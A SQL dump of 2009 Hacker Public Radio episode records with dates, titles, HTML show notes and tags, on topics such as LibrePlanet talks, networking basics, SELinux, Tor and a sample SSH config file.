(341,'2009-04-21','Libre Planet 2009 Conference Episode 2 of 5',2730,'FSF Annual Meeting - Libre Planet 2009 Conference Episode 2 of 5','FSF Annual Meeting :: Libre Planet 2009 Conference Episode 2 of 5<br><br>The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.<br><br>[00:00:00 to 00:47:37] Mako Hill, Cloud Computing/Software as a Service - defining Freedom for Network Services<br><br>[00:47:38 to 01:19:22] Alexandre Oliva, Freeing the kernel and the Linux Libre project<br><br>For more information please visit: <a href=\"https://www.fsf.org/associate/meetings/2009/\">https://www.fsf.org/associate/meetings/2009/</a></body></html>',99,0,1,'CC-BY-NC-SA','Libreplanet,Free Software Foundation,network services,communication',0,2922,1),
(342,'2009-04-22','Libre Planet 2009 Conference Episode 3 of 5',3701,'FSF Annual Meeting - Libre Planet 2009 Conference Episode 3 of 5','FSF Annual Meeting :: Libre Planet 2009 Conference</title></head>\r\n<body>FSF Annual Meeting :: Libre Planet 2009 Conference Episode 3 of 5<br><br>The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.<br><br>Toward a LibrePlanet - Free Software Activism worldwide (Brian Gough, Ryan Bagueros, Bradley Kuhn)<br><br>For more information please visit: <a href=\"https://www.fsf.org/associate/meetings/2009/\">https://www.fsf.org/associate/meetings/2009/</a></body></html>',99,0,1,'CC-BY-NC-SA','Free software,Latin America,Brazil,Bradley M. Kuhn,Gnu hackers meetings',0,1848,1),
(343,'2009-04-23','Virtualization',2595,'Mark and Darlene talk about Virtualization','Mark and Darlene talk about Virtualization\r\n\r\n',112,8,1,'CC-BY-NC-SA','virtualization,Zen,KVM,libvirt',0,1970,1),
(344,'2009-04-24','EC Lug  March 12th Meeting',6783,'March 12, 2009 Eau Claire Linux User Group meeting','EC Lug March 12th Meeting',93,0,1,'CC-BY-NC-SA','Homemade projector screen,Nvidia drivers,Pulseaudio,tab completion,bash,irc,open source',0,2567,1),
(345,'2009-04-27','Editing the auto-generated menu in Linux',899,'Thistleweb shows how to edit menus and icons','<p>Locations\r\n\r\nMenu files (requires root to edit)\r\n<ul>\r\n<li>/usr/shar/applications</li>\r\n</ul>\r\n\r\nIcon files\r\n<ul>\r\n<li>/usr/share/pixmaps</li>\r\n<li>/usr/share/icons/foo</li>\r\n</ul>\r\n\r\n<p>Edit files in plain text editor like GEdit</p>\r\n\r\nEllements pointed out in episode (there are plenty more, they vary per app, & distro)\r\n<ul>\r\n<li>Name : the name it will display on the menu (may need to change Name[foo] to reflect your language)</li>\r\n<li>Language : speaks for itself</li>\r\n<li>Comment : the rollover text</li>\r\n<li>Exec : the command it will execute when clicked</li>\r\n<li>Icon : the path to the icon shown in the menu</li>\r\n<li>OnlyShowIn : useful when trying to find why an application may not be showing the menu</li>\r\n\r\n<li>Terminal : runs the command in a terminal</li>\r\n\r\n<li>Categories : (I think) this is the submenu groups where it\'ll appear on the menu</li>\r\n</ul>\r\n<p>Changes sometimes take a little while to update, restarting X or rebooting will force it to re-read that folder and apply the changes.</p>\r\nXCFE Tip\r\n<ul>\r\n<li>Right click to edit menu. Click on something like a separator, move it up, then down to it\'s original place. Save.</li>\r\n</ul>\r\n</p>',106,0,1,'CC-BY-NC-SA','menus,icons,Xfce',0,1923,1),
(346,'2009-04-28','GridBackup',6097,'Utah Open Source Conference - Shawn Willden presents on GridBackup: A peer to peer backup','Shawn Willden presents on GridBackup: A peer to peer backup system built on top of the allmydata.org Tahoe distributed file system.',100,0,1,'CC-BY-NC-SA','backups,resiliency,cross platform,python',0,1658,1),
(347,'2009-04-29','Watchmen: the motion comic',383,'Dave Yates reviews Watchmen: the motion comic','Watchmen: the motion comic<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Watchmen:_Motion_Comics\">Watchmen Motion Comic on wikipedia</a>.<p>\r\n<a href=\"https://www.imdb.com/title/tt1322240/\">Watchmen Motion Comic on IMDB</>.<p>\r\n<a href=\"https://www.watchmencomicmovie.com/watchmen-motion-comics-episodes.php\">Watchmen Comic Movie official website</a>.',77,0,1,'CC-BY-NC-SA','graphic novel,DVD',0,2250,1),
(348,'2009-04-30','How I Found Linux 001',1794,'Monsterb introduces audio clips sent in by Linux users','How I Found Linux 001<br><br>\r\nLilMiss64 - Professional BZFlag Player<br>\r\nPeter64 - <a href=\"https://linuxcranks.info\">Linux Cranks</a><br>\r\nDavid Abbott - <a href=\"https://linuxcrazy.com\">Linux Crazy</a><br>\r\nKlaatu - <a href=\"https://www.fedorareloaded.com\">Fedora Reloaded</a>,\r\nand <a href=\"https://thebadapples.info\">The Bad Apples</a><br>\r\nlostnbronx - This guy is lost in Bronx.<br>\r\ndwick - <a href=\"https://dwick.org\">dwick.org</a><br>\r\nKen Fallon - <a href=\"https://kenfallon.com\">kenfallon.com</a><br>\r\nAzimuth - <a href=\"https://linuxcranks.info\">Linux Cranks</a><br>\r\n<br>\r\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\r\n',99,29,1,'CC-BY-NC-SA','Linux',0,2114,1),
(349,'2009-05-01','The Hacker Within',1522,'Thewtex interviews The Hacker Within computer science group','thewtex talks about the hacker within',69,0,1,'CC-BY-NC-SA','interviews,hackers,computer science,high performance computing',0,2074,1),
(350,'2009-05-05','How I found Linux 002',1694,'Monsterb introduces audio clips sent in by Linux users','<br>\r\nThistleweb - HPR Correspondent<br>\r\nTerryF - IRC Master<br>\r\nDavid from NYC<br>\r\nweex - <a href=\"https://trygnulinux.com/\">Try GNU + Linux Free Software Podcast</a><br>\r\nscriptmunkee - <a href=\"https://trygnulinux.com/\">Try GNU + Linux Free Software Podcast</a><br>\r\nRuss Wenner - <a href=\"https://thetechiegeek.com/\">The Techie Geek</a><br>\r\n<br>\r\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\r\n',99,29,1,'CC-BY-NC-SA','Linux',0,1575,1),
(351,'2009-05-05','Network Basics',850,'Klaatu explains the basics of networking','klaatu talks about basic networking',78,61,0,'CC-BY-NC-SA','computers,networking,topology,7-layer model',0,1990,1),
(352,'2009-05-06','Open Source Business Models',2166,'Mark and Darlene talk about Open source business models','Mark and Darlene talk about Open source business models',112,0,1,'CC-BY-NC-SA','open source,business',0,1634,1),
(353,'2009-05-07','Pete Wood Interview',3528,'Finux interviews Pete Wood','finux interviews Pete Wood',85,78,1,'CC-BY-NC-SA','interviews,infosec,ethical hacking,security,social engineering',0,1577,1),
(354,'2009-05-08','The Jerks Among us',727,'Rant by lostnbronx about jerks','<strong>THE JERKS AMONG US</strong> \r\n\r\n<p> \r\n\r\n<strong>Music in this episode</strong>\r\n\r\n<br>\r\n\r\n\"Give Me Your Hand\" and \"Voicedance\"\r\nsung by \r\n<br>\r\nDanny Fong, et al, \r\n<br>\r\ndetails here\r\n<br>\r\n<a \r\nhref=https://music.podshow.com/music/listeners/artistdetails.php?BandHash=c5a8499e2956c0c0e1e98d2c2438f014>Danny\'s \r\npage on the Podsafe Network</a>\r\n\r\n<p> \r\n\"Whipass\"\r\n<br>\r\nby \r\n<br>\r\nRay (the man\'s a genius)\r\n<br>\r\nFound all over the Internet, but here\'s a <a href=https://www.zefrank.com/theshow/whipass/>\r\nlink</a> to it over on \r\nZefrank\'s site, along with a page of \r\nfunny remixes.',107,0,1,'CC-BY-NC-SA','Technology,Computers,People',0,3381,1),
(355,'2009-05-11','Star Trek',735,'Review of the 2009 movie Star Trek. The JJ Abrams reboot of the Star Trek movies franchise.','deepgeek reviews star trek',73,0,1,'CC-BY-NC-SA','Star Trek,movies,movie,movie review,review',0,2182,1),
(356,'2009-05-13','BBS',1786,'HPR members reminisce about using and operating Bulletin Board Systems (BBS)','Lord Drachenblut and others talk about BBS\'s',24,0,1,'CC-BY-NC-SA','BBS,Searchlight,Searchlight BBS,PCBoard,PCB,PCBoard BBS,Messaging,File Sharing,Nodes,Node',0,2532,1),
(357,'2009-05-13','Network Basics Part 2',1200,'Episode 2 of Basic networking with Klaatu','<p>In episode 2 of Networking Basics, Klaatu covers Routers, Switches, and Hubs.  He also discusses the concepts of Collision Domains and Broadcast Domains.</p>\r\n<p>The ogg version is available <a href=\"https://www.thebadapples.info/audiophile/HPR_networkingBasics2.ogg\">here</a>.</p> ',78,61,0,'CC-BY-NC-SA','Routers,Switches,Hubs,Collision domains,Broadcast domains',0,2060,1),
(358,'2009-05-15','Libre Planet 2009 Part 4',5211,'FSF Annual Meeting :: Libre Planet 2009 Conference Episode 4 of 5','FSF Annual Meeting :: Libre Planet 2009 Conference Episode 4 of 5<br><br>The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.<br><br>[00:00:00 to 00:46:45] Evan Prodromou, Identi.ca and engineering for free network services<br><br> [00:46:46 to 01:25:45] Rob Savoye, Gnash and Cygnal project.<br><br>For more information please visit: <a href=\"https://www.fsf.org/associate/meetings/2009/\">https://www.fsf.org/associate/meetings/2009/</a>',99,0,1,'CC-BY-NC-SA','microblogging,Identi.ca,php,mysql,flash,gnash player',0,3611,1),
(359,'2009-05-16','Control 4',4665,'Utah Open Source Conference - Home Automation','Ryan Erickson works for Control4 (https://www.control4.com), and has worked and played with Home Automation for over 10 years. He will present an introduction to Home Automation, and discuss Control4\'s Home Automation products. Ryan will cover: # What is Home Automation? # How does it work? # Open Source Home Automation projects # DIY vs. \'Professional\' # Control4\'s approach to Home Automation',100,0,1,'CC-BY-NC-SA','home automation,home theatre,multi-room audio,lighting',0,8154,1),
(360,'2009-05-19','How I found Linux 3',1644,'Monsterb introduces audio clips sent in by Linux users','How I Found Linux 003<br><br>\nA.J. - <a href=\"https://linuxgeekdom.com/\">Linux Geekdom</a><br>\nthreethirty - <a href=\"https://freelinuxhelpline.net/\">FLHL</a>, <a href=\"https://linuxcranks.info\">Linux Cranks</a>, <a href=\"https://somethingkindatechy.com/\">SKT</a><br>\nNathan Hale - <a href=\"https://productivelinux.com/\">Productive Linux</a><br>\nVerbal - <a href=\"https://setbit.org/lt.html\">Verbal\'s Linux Trivia Podcast</a><br>\nCharles - <a href=\"https://mintcast.org/\">mintCast</a><br>\nJeremy &amp; J.D. - <a href=\"https://distrocast.org/\">DistroCast</a><br>\n<br>\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n',99,29,1,'CC-BY-NC-SA','linux',0,1712,1),
(361,'2009-05-20','Programming 101 Part 4',2799,'Xoke continues his Programming 101 Series - Part 4','Xoke continues his programming series',79,25,1,'CC-BY-NC-SA','Programming,Python',0,1662,1),
(362,'2009-05-21','Libre Planet 2009 Part 5',6313,'FSF Annual Meeting :: Libre Planet 2009 Conference Episode 5 of 5','FSF Annual Meeting :: Libre Planet 2009 Conference Episode 5 of 5<br><br>The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.<br><br>[00:00:00 to 00:33:45] - Ciaran O\'Riordan, End Software Patents<br><br>[00:33:46\r\nto 00:51:38] -&nbsp;Richard M. Stallman, Hardware for Free Software and\r\nthe presentation ceremony of the Free Software Awards<br><br>[00:51:39 to 01:20:19] -&nbsp;Routing for the day<br><br>[01:20:20 to 01:45:15] - End of Unconference (with special musical guest, Kat Walsh)<br><br>For more information please visit: <a href=\"https://www.fsf.org/associate/meetings/2009/\">https://www.fsf.org/associate/meetings/2009/',99,0,1,'CC-BY-NC-SA','end software patents,Richard M. Stallman,free software',0,1914,1),
(363,'2009-05-22','Networking Basics Part 3',1460,'The third episode of Basic Networking','<p>In the third episode of Basic Networking, Klaatu talks about all things Ethernet; from the physical construction of the cables to the structure of the data frames being sent over them.</p>\r\n\r\n<p>As usual, an ogg version is available over on <a href=\"https://www.thebadapples.info/audiophile/HPR_networkingBasics3.ogg\" target=\"_blank\">the bad apples</a>. </p>',78,61,0,'CC-BY-NC-SA','networking,ethernet,cables,data frames',0,1976,1),
(364,'2009-05-23','TiT Radio Pilot',3075,'Monsterb and friends kick off the pilot of TiT Radio. A new series on HPR','TiT Radio - Pilot 000<br>\r\nmonsterb and friends kick off the pilot of TiT Radio.  A new\r\nseries on HPR, streaming Live on ddphackradio.org.  Please visit <a href=\"https://titradio.info\">https://titradio.info</a> for shownotes and more information.',99,30,1,'CC-BY-NC-SA','roundtable,commandlinefu,Linux hardware,ubuntu remix,switching to linux',0,1776,1),
(365,'2009-05-25','Green Computing',2443,'Mark and Darlene talk about Green Computing','Mark and Darlene talk about Green Computing',112,0,1,'CC-BY-NC-SA','green computing,switching to Linux,recycling computers,virtualization',0,1656,1),
(366,'2009-05-27','The Open Source Data Center',5140,'Utah Open Source Conference - Open Source Data Center','During the last 10 years of system administration I have been involved in a number of data center migrations and build-outs. As these projects came and went I began to see patterns emerge in the set of services and software required to run a successful operations infrastructure. This presentation will describe these patterns, and provide an overview of the Open Source software available to implement them. About Dan: Dan Hanks has been involved with Linux System administration since 1998, when he worked for EagleNet Online, a small ISP in Provo, which, in a sense, was the birthplace of PLUG. After EagleNet he worked as a systems and database administrator for Nothsky/About.com/Primedia/United Online and is currently a system administrator for Omniture. He has varied interests, ranging from computers and technology to astronomy, geology, music, art, and family history research. He holds a Bachelor\'s degree in Computer Science from BYU, and is the father of 4 adventuresome children. He (occasionally) blogs at https://brainshed.com, and tweets as @danhanks.',100,0,1,'CC-BY-NC-SA','physical infrastructure,data center',0,1949,1),
(367,'2009-05-28','Screw you Hacker',406,'A song by Chad from the Linux Basement','another song by Chad from the linux basement',101,22,1,'CC-BY-NC-SA','songs,hacker,buffer overflow',0,1700,1),
(368,'2009-05-29','GPS with gpsbabel, gpicsync and Google Earth',4349,'Utah Open Source Conference - GPS','Marc Christensen presents on Geo Tagging pictures and overlaying GPS Data aligned with photos on Google Map and Google Earth',100,0,1,'CC-BY-NC-SA','GPS,gpx file,gpsbabel,gpicsync,file conversion',0,1514,1),
(369,'2009-05-29','UCLUG May Meeting',6175,'Carolina Linux User Group Meeting - GnuCash','<a href=\"https://uclug.org/index.php/Previous_Meetings#May_2009\">Upstate Carolina Linux User Group</a>',77,0,1,'CC-BY-NC-SA','finance,GnuCash,online banking,SELF,ffmpeg,Android',0,1563,1),
(370,'2009-06-01','How I Found Linux 004',1755,'Monsterb introduces audio clips sent in by Linux users','How I Found Linux 004<br><br>\r\nSkirlet - <a href=\"https://www.fedorareloaded.com/\">Fedora Reloaded Podcast</a><br>\r\nNicholas from PA<br>\r\nSigFLUP<br>\r\nNick Ali - <a href=\"https://ubuntupodcast.net/\">Ubuntu Podcast</a><br>\r\nKristin Shoemaker - <a href=\"https://ostatic.com/member/shoe\">Ostatic Blog</a> &amp; <a href=\"https://www.sudowrestling.com/\">Sudo Wrestling Podcast</a><br>\r\nTodd N<br>\r\nLawton Paul - <a href=\"https://www.lawtonpauldesign.com/\">Lawton Paul Design</a><br>\r\n<br>Send your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.',99,29,1,'CC-BY-NC-SA','Fedora,KDE,Graphic art,Redhat,Slackware,Debian,Library computers',0,1574,1),
(371,'2009-06-02','Introduction to SELinux',5269,'Utah Open Source Conference - SELinux','The traditional Unix security model is simple and beautiful. For decades it has been good enough for most people. However, it is starting to show its age. In the highest security settings, a more fine grained control system is needed. In the past, this meant using expensive, complicated, special purpose versions of Unix: trusted systems. (Trusted Solaris, Trusted AIX, Trusted HP-UX) SELinux, created by the NSA, is the most mature and complete response to the need for Trusted Linux systems. Unfortunately, because of the difficulty creating and maintaining trusted systems, their success has been limited. This is no longer acceptable. Today, even desktop systems and cell phones need high quality security. Imagine being able to sandbox your Web browser and e-mail client. The traditional Unix model makes this difficult and only partially possible. SELinux, on the other hand, makes fine grained security available to everyone. When it first appeared, SELinux was hard to learn and mysterious to troubleshoot. As a result, many people fear it. However, SELinux and the tools to manage it have come a long way. It\'s time to lay fear aside. Stuart will teach what SELinux is, why it is great, basic troubleshooting and maintenance.',100,0,1,'CC-BY-NC-SA','SELinux,NSA',0,1571,1),
(372,'2009-06-03','All Songs Considered 8: Gnu Day',280,'A song by Chad from Linux Basement','Another Song by Chad from the linuxbasement',101,22,1,'CC-BY-NC-SA','Songs,GNU Linux',0,2066,1),
(373,'2009-06-04','Qemu',1289,'Klaatu discussed the Qemu emulator','<p>Klaatu, on vacation in Niagra Falls (or so it sounds from all the background noise...), talks about Qemu.</p>\r\n<p><a href=\"https://www.qemu.org\" target=\"_blank\">Qemu</a>\r\n<a href=\"https://www.oszoo.org/wiki/index.php/Main_Page\" target=\"_blank\">Pre-built Virtual Machines to run with Qemu</a></p>\r\n<p>You may also choose to download the ogg version.</p>',78,0,0,'CC-BY-NC-SA','qemu,emulator',0,1564,1),
(374,'2009-06-05','TiT Radio - Fluxbox 001',4573,'Monsterb and friends host TiT Radio','\r\nmonsterb and friends talk about the light weight window manager called Fluxbox.&nbsp; Please visit <a href=\"https://titradio.info\">https://titradio.info</a> for shownotes and more information.<br>',99,30,1,'CC-BY-NC-SA','roundtable,fluxbox,lightweight',0,2389,1),
(375,'2009-06-08','SAP - the Simple Audio Player',814,'lostnbronx talks about SAP - Simple Audio Player','<strong>SAP</strong>\r\n<br>\r\nthe Simple Audio Player\r\n\r\n<p>\r\n\r\nThe Sap Homepage:\r\n<br>\r\n<a href=https://www.jezra.net/projects/sap>https://www.jezra.net/projects/sap</a>\r\n\r\n<p>\r\n\r\nSAP\'s Launchpad Page:\r\n<br>\r\n<a href=https://launchpad.net/sap+>https://launchpad.net/sap+</a>\r\n\r\n<p>\r\n\r\nMusic In This Episode: \r\n<br> \r\n<a href=https://www.archive.org/download/ScottJoplin/ScottJoplin-PineappleRag1908.ogg>Pineapple Rag</a> \r\nby the one and only Scott Joplin; a recording of the piano roll (the original electronica -- or would that \r\nbe mechanica?), available in ogg vorbis, among other formats, at the Internet Archive.',107,0,1,'CC-BY-NC-SA','audio player,command line',0,3262,1),
(376,'2009-06-09','How I Found Linux 005',1741,'Monsterb introduces audio clips sent in by Linux users','How I Found Linux 005<br><br>\r\nRandy Noseworthy - <a href=\"https://juicedpenguin.com\">The Juiced Penguin</a> &amp; <a href=\"https://randomizedradio.com\">Randomized Radio Netcast</a><br>\r\n<br>\r\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\r\n',99,29,1,'CC-BY-NC-SA','mainframe,Redhat,Ubuntu,Puppy Linux,Chess Griffin',0,2174,1),
(377,'2009-06-10','Future of Artificial Intelligence in Open Source',3558,'Utah Open Source Conference - The Future of Artificial Intelligence','Recent developments in Artificial Intelligence have enabled a basic computer system with no additional components to advance from a beginner in chess, to a master level in less than 300 games. This presentation will examine what a learning algorithm consists of, and why it may be important to Open Source in the future. By the end of this presentation the audience should have a foundational knowledge of what AI is and whether it may be useful in their own projects.',100,0,1,'CC-BY-NC-SA','artificial intelligence,open source software,neural net,data mining',0,1651,1),
(378,'2009-06-11','apt-move',691,'Deepgeek talks about apt-move','Deepgeek talks about apt-move',73,0,1,'CC-BY-NC-SA','Debian,apt packages',0,2105,1),
(379,'2009-06-12','SSL Ep 1 ',1323,'Klaatu reveals the mysteries of self-signed SSL certificates','<p>Klaatu reveals the mysteries of SSL certifications and why self-signing is not such a bad thing after all.</p>\r\n<p><a href=\"https://www.cacert.org\" target=\"_blank\">CAcert.org - the self signing collective</a></p>\r\n<p>The <a href=\"https://www.thebadapples.info/audiophile/hpr_SSL.ogg\">ogg vorbis version</a> of this episode can be downloaded here.</p>',78,0,0,'CC-BY-NC-SA','ssl certificate',0,2250,1),
(380,'2009-06-15','Troubleshooting Blue screens of Death',435,'Ways to resolve the Blue screen of death.','<p>\r\n<a href=\"https://www.microsoft.com/whdc/devtools/debugging/\">Debugging Tools link</a>\r\n</p>\r\n<p>Some Common STOP codes: Bug Check 0xA: IRQL_NOT_LESS_OR_EQUAL <p> The \r\nIRQL_NOT_LESS_OR_EQUAL bug check has a value of 0x0000000A. This indicates that \r\nMicrosoft Windows or a kernel-mode driver accessed paged memory at \r\nDISPATCH_LEVEL or above.</p> <p> The following parameters are displayed on \r\nthe blue screen. Parameter Description 1 Memory referenced 2 IRQL at time of \r\nreference 3 0: Read 1: Write 4 Address which referenced memory Cause This bug \r\ncheck is issued if paged memory (or invalid memory) is accessed when the IRQL is \r\ntoo high. The error that generates this bug check usually occurs after the \r\ninstallation of a faulty device driver, system service, or BIOS. If you \r\nencounter bug check 0xA while upgrading to a later version of Windows, this \r\nerror might be caused by a device driver, a system service, a virus scanner, or \r\na backup tool that is incompatible with the new version.\r\nIf a kernel debugger is available, obtain a stack trace.\r\n</p> \r\n <br />\r\n<p> To resolve an error caused by a faulty device driver, system service, or BIOS<br> 1. Restart your \r\ncomputer.<br> 2. Press F8 at the character-based menu that displays the operating \r\nsystem choices.<br> 3. Select the Last Known Good Configuration option from the \r\nWindows Advanced Options menu. This option is most effective when only one \r\ndriver or service is added at a time.</p> <p> To resolve an error caused by an \r\nincompatible device driver, system service, virus scanner, or backup tool<br> 1. \r\nCheck the System Log in Event Viewer for error messages that might identify the \r\ndevice or driver that caused the error.<br> 2. Try disabling memory caching of the \r\nBIOS. <br>3. Run the hardware diagnostics supplied by the system manufacturer, \r\nespecially the memory scanner. For details on these procedures, see the owner\'s \r\nmanual for your computer.<br> 4. Make sure the latest Service Pack is installed.<br> 5. \r\nIf your system has small computer system interface (SCSI) adapters, contact the \r\nadapter manufacturer to obtain updated Windows drivers. Try disabling sync \r\nnegotiation in the SCSI BIOS, checking the cabling and the SCSI IDs of each \r\ndevice, and confirming proper termination.<br> 6. For integrated device electronics \r\n(IDE) devices, define the onboard IDE port as Primary only. Also, check each IDE \r\ndevice for the proper master/subordinate/stand-alone setting. Try removing all \r\nIDE devices except for hard disks. If the message appears during an installation \r\nof Windows, make sure that the computer and all installed peripherals are listed \r\nin the Microsoft Windows Marketplace Tested Products List.</p>&nbsp;\r\n\r\nOther stop codes can be found at \r\n<a href=\"https://msdn.microsoft.com/en-us/library/ms789396.aspx\">Interpreting Bug Check Codes</a>',105,0,1,'CC-BY-NC-SA','Windows,Blue screen',0,2351,1),
(382,'2009-06-17','TiT Radio 002 - Potluck Roundtable',4445,'Monsterb and friends host TiT Radio','Please visit <a href=\"https://titradio.info\">https://titradio.info</a> for shownotes and more information.<br>',99,30,1,'CC-BY-NC-SA','Wifi chips,SELF,micro atx motherboard,open street map,Celestia,gpodder',0,2017,1),
(383,'2009-06-18','TOR Interview',940,'Klaatu talks to Wendy Seltzer of the TOR project','<p>Klaatu talks to Wendy Seltzer of the TOR project about...the <a href=\"https://www.torproject.org\" target=\"_blank\">TOR project</a>.  Please note that even though Klaatu continually refers to the TOR Project as \"The Onion Router\", officially the TOR Project is now properly referred to as simply \"the TOR Project\".</p>\r\n<p>You can download the <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_tor.ogg\" target=\"_blank\">ogg vorbis</a> version of this episode from the Bad Apples.</p>',78,78,0,'CC-BY-NC-SA','SELF, interview',0,2252,1),
(384,'2009-06-19','Red Hat Interview',693,'Klaatu talks to Eric from Red Hat','<p>Klaatu talks to Eric from Red Hat about RHEL, Fedora, Linux in tha corporate world, and how proprietary blockades to adopting free software can be worked around for those of us who wear ties to work.</p>\r\n<p>Speaking of proprietary blockades...you can download this episode as an <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_redHat.ogg\" target=\"_blank\">ogg file</a>. <br />\r\nFor extra credit, check out Red Hat\'s <a href=\"https://truthhappens.redhat.com/\" target=\"_blank\">blog</a>. </p>',78,78,0,'CC-BY-NC-SA','SELF, interview',0,5186,1),
(385,'2009-06-22','Why Xandros doesn\'t suck',722,'Enigma reviews Xandros on the Asus eeePC','Enigma reviews Xandros on the asus eee 900 netbook',39,0,1,'CC-BY-NC-SA','Netbook OS review',0,5463,1),
(386,'2009-06-23','SSH config file',836,'Ken talks about user friendly identities to connect to ssh','<pre>\r\nGSSAPIAuthentication no\r\nForwardAgent yes\r\nEscapeChar none\r\nForwardX11 yes\r\nProtocol 2\r\n\r\nHost hometunnel\r\n	User homeuser\r\n	Hostname mymachine.dynamicdns.org\r\n	LocalForward 8080 192.168.1.100:80\r\n        Port 1234\r\n\r\nHost home\r\n	User homeuser\r\n	Hostname mymachine.dynamicdns.org\r\n        Port 1234\r\n\r\nHost work\r\n	User workuser\r\n	Hostname mywork.mycompany.com\r\n        IdentityFile ~/.ssh/work_id_dsa.pub\r\n\r\nHost isp\r\n        User ispuser\r\n        Hostname isp.example.com\r\n        IdentityFile ~/.ssh/isp_id_dsa.pub\r\n</pre>\r\n ',30,0,1,'CC-BY-NC-SA','ssh config,ssh keys,ssh agent',0,2195,1),
(381,'2009-06-16','OpenOffice.org, Twisted and Python',7340,'Scripting Open Office with python','Justin Findlay gave a tutorial on scripting OpenOffice.org with Python, and Paul Cannon gave an overview of Twisted',100,0,1,'CC-BY-NC-SA','Open Office,Python,scripting',0,1570,1),
(387,'2009-06-24','Linux Security',2634,'Mark and Darlene chat with a guest about Linux security','\r\nIn the episode Darlene and I chat with Mohammed Ayad, a Linux Sys admin\r\nfrom Lybia about Linux security and the first Linux Day held in Libya.',112,0,1,'CC-BY-NC-SA','Linux,Security',0,2055,1),
(388,'2009-06-25','Interview with Beth Lynn of OLF',711,'Klaatu talks to Beth Lynn about Ohio Linux Fest 2009','<p>Klaatu first debates with his SouthEast Linux Fest pal, 8 year old Ethan, about where to conduct interviews...then talks to Beth Lynn about Ohio Linux Fest 2009 and all the new and exciting events planned for it!</p>\r\n<p>Get the ogg version of this episode by clicking on this link right.....<a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_bethLynn.ogg\" target=\"_blank\">here</a>.\r\n</p>',78,78,0,'CC-BY-NC-SA','SELF, interview',0,2287,1),
(389,'2009-06-26','Demo or Bust 2010',736,'The first in a series of HPR episodes dedicated to narrating the construction of a demo','This is the First episode of Demo or Bust 2010 by SigFLUP, which is a series of HPR episodes dedicated to narrating the construction of a demo. If you\'d like to see video of this episode you may at youtube username assemblyassembly',115,0,1,'CC-BY-NC-SA','Demo or Bust 2010',0,2266,1),
(390,'2009-06-29','Interview with Alan Hicks',1766,'Klaatu and Alan Hicks chat about Slackware','Klaatu and Alan Hicks (from the Slackbook project) chat about Slackware, 64bit support, slack hacking methodology, what\'s in the works for Slackbook 3.0, Slackware\' intended audience, the SouthEast Linux Fest, and more.\r\n<p>Check out the book that got Klaatu addicted to Slack, <a href=\"https://store.slackware.com/cgi-bin/store/slackbook?id=z77A6g2F:mv_pc=37\" target=\"_blank\">Slackware Essentials</a><br />\r\nOr check out the revised Slackware Book project online at <a href=\"https://www.slackbook.org/\" target=\"_blank\">slackbook.org</a><br />\r\nAnd check out Slackware itself at <a href=\"https://www.slackware.com\" target=\"_blank\">slackware.com</a>\r\nThis episode is also available in <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_alanHicks.ogg\">ogg vorbis</a> format.',78,78,0,'CC-BY-NC-SA','SELF, interview',0,2350,1),
(391,'2009-06-30','TiT Radio 003 - Potluck Roundtable',5331,'Monsterb and friends host TiT Radio','This show was recorded live on June 27th 2009.<br><br>Please visit <a href=\"https://titradio.info\">https://titradio.info</a> for shownotes and more information.<br>',99,30,1,'CC-BY-NC-SA','Mepis,AntiX,fluxbox,irssi,Stellarium,sbopkg,slackware,firefox addon collector,bitblinder,myfi,Fedora,pkgkit',0,1929,1),
(392,'2009-07-01','Interview with Dual Core',793,'Klaatu interviews int eighty and Remy from the group Dual Core.','<p>Klaatu interviews <em>int eighty</em> and <em>Remy</em> from the group Dual Core.</p>\r\n<p>You can download this interview as an <a href=\"https://www.thebadapples.info/audiophile/HPR_SELF_dualCore.ogg\" target=\"_blank\">ogg file</a>. <br />\r\nCheck out Dual Core on the <a href=\"https://www.dualcoremusic.com\" target=\"_blank\">world wide interwebs.</a></p>',78,78,0,'CC-BY-NC-SA','SELF, interview',0,2206,1),
(393,'2009-07-03','Wine',3563,'Meeting of the Ogden Area Linux User Group.','The June 2008 meeting of the Ogden Area Linux User Group. Seth House presented on Wine.',100,0,1,'CC-BY-NC-SA','Wine',0,1454,1),
(394,'2009-07-03','Networking Basics Part 4 TCP and UDP',1218,'Klaatu presents his fourth episode on networking basics--covering the UDP and TCP protocols','<p>Klaatu continues his Network Basics series.  This episode covers TCP and UDP.</p>\r\n<p>You can download the ogg version of this episode, or if you are using Firefox 3.5 then you can just listen to it right in your browser, by clicking <a href=\"https://www.thebadapples.info/audiophile/HPR_networkingBasics4.ogg\">here.</a></p>',78,0,0,'CC-BY-NC-SA','networking,TCP,TCP/IP,UDP,Internet Protocol  (IP),protocols,protocol,virtual circuit',0,2307,1),
(395,'2009-07-06','Foss Migration ',2539,'Mark Clarke and Darlene Parker discuss Linux migration for small to medium sized businesses','Mark and Darlene talk to  Mohammed Ayad about Linux security. A good resource for\r\nLinux Migration info can be found at https://www.guide.conecta.it/',112,0,1,'CC-BY-NC-SA','Linux migration,corporate business,small/medium  business,SMB,security,virus,privilege escalation,open  source,buy-in,needs analysis',0,3774,1),
